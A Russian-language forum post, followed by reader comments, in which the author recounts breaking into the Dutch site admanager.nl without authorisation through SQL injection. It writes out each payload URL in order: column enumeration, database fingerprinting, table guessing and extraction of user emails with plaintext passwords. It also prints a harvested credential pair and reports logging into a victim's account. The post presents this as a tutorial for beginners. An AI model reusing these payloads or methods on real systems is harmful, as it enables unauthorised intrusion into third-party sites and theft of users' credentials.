Title: Взлом admanager.nl Author: p-range Date: 7.01.2007 [intro] От нечего делать решил потестить на безопасность какой-нибудь забугорный сайтец. Уже не помню как ко мне в руки попал admanager.nl, но в результате банальной sql-injection баги, я получил доступ ко всем логинам и паролям в их сервисе. [action] Зашел на сайт, и первым делом начал пhосматривать ссылки в меню. Меня привлекла ссылка такого вида: http://admanager.nl/online/page.php?id=12 Не трудно догадаться что я сделал дальше. Я открыл новую страницу и ввел урл: http://admanager.nl/online/page.php?id=11 Затем http://admanager.nl/online/page.php?id=12-1 Результатом была страница, такаяже как и при id=11. Значит присутствует sql-injection. Далее я пытался подобрать поля. http://admanager.nl/online/page.php?id=-12+union+select+1/* Ответ скрипта: Fatal error: Call to a member function FetchRow() on a non-object in /home/admanager/admanager.nl/online/page.php on line 16 Перебираем дальше http://admanager.nl/online/page.php?id=-12+union+select+1,2,3,4/* Поля подобраны, на странице вывелись числа 2 и 3, смотрим текущего юзера и бд: http://admanager.nl/online/page.php?id=-12+union+select+1,user(),database(),4/* Результат запроса: user() - [email protected] database() - admanager Пробую заглянуть в таблицу mysql.user. Но доступ закрыт =\ LOAD_FILE() тоже ни к чему не привел. Опция file_priv в таблице mysql.user была выключена для текущего юзера. Ладно, мне нужно подобрать таблицу с юзерами. Несколько минут подбора так ни к чему не привели. Тут я решил посмотреть на систему авторизации. Ввел наугад мыло и пароль в форму. Скрипт выдал ошибку о неудачном логине: Inloggen als abonnee Deze gegevens zijn niet juist. Probeer het nogmaals. Я конечно не знаю этого языка, но из первой строчки сразу выделил фразу Inloggen als abonnee. Тут я попробовал слово abonnee в качестве названия таблицы. И увидел что такая таблица существует. Теперь мне нужно было угадать поля эмейла и пароля в abonnee. После стандартных вариаций на email, password, я решил заглянуть в исходник страницы и посмотреть форму для ввода. <form action="../online/abonnee_login.php" method="post" name="frmLoginNavigation"> <input type="text" name="abEmail" value="" size=15 class="form"> <input type="password" name="abWachtwoord" size=15 class="form"> <input type='submit' value='Login' class="form"> </form> Из формы видно что скрипту abonnee_login.php передаются значения abEmail и abWachtwoord необходимые для авторизации. Я подставил abEmail и abWachtwoord в запрос. http://admanager.nl/online/page.php?id=-12+union+select+1,2,concat(abEmail,0x3a,abWachtwoord),4+from+abonnee+limit+0,1/* И получил первую запись email и пасс из таблицы: [email protected]:mk99eu Да, да, пасс в открытом виде о_О От нечего делать limit'ом перебрал количество пользователей. Всего 4548. Вошел в панель управления под юзером [email protected]. Пошарился и понял что ничего интересного там нет =\ Вот и все. greatz to: ice1k P.S.: новичкам посвящается
смысл?(а показать как правельно использовать SQL-injection на деле?_) Теперь давайте, каждый будем писать и выкладывать свои взломанный ресурсы!?
имхо статья кака я взломал site.ru не очень актуальна лучше писать статьи на какую то определенную тему.
+1 репа не знаю в тему ли про статьи или нет.. но зато человек показывает (новичкам) каким образом надо узнавать напимер названия столбцов и таблиц. =) Я думаю кому-то она будет полезна.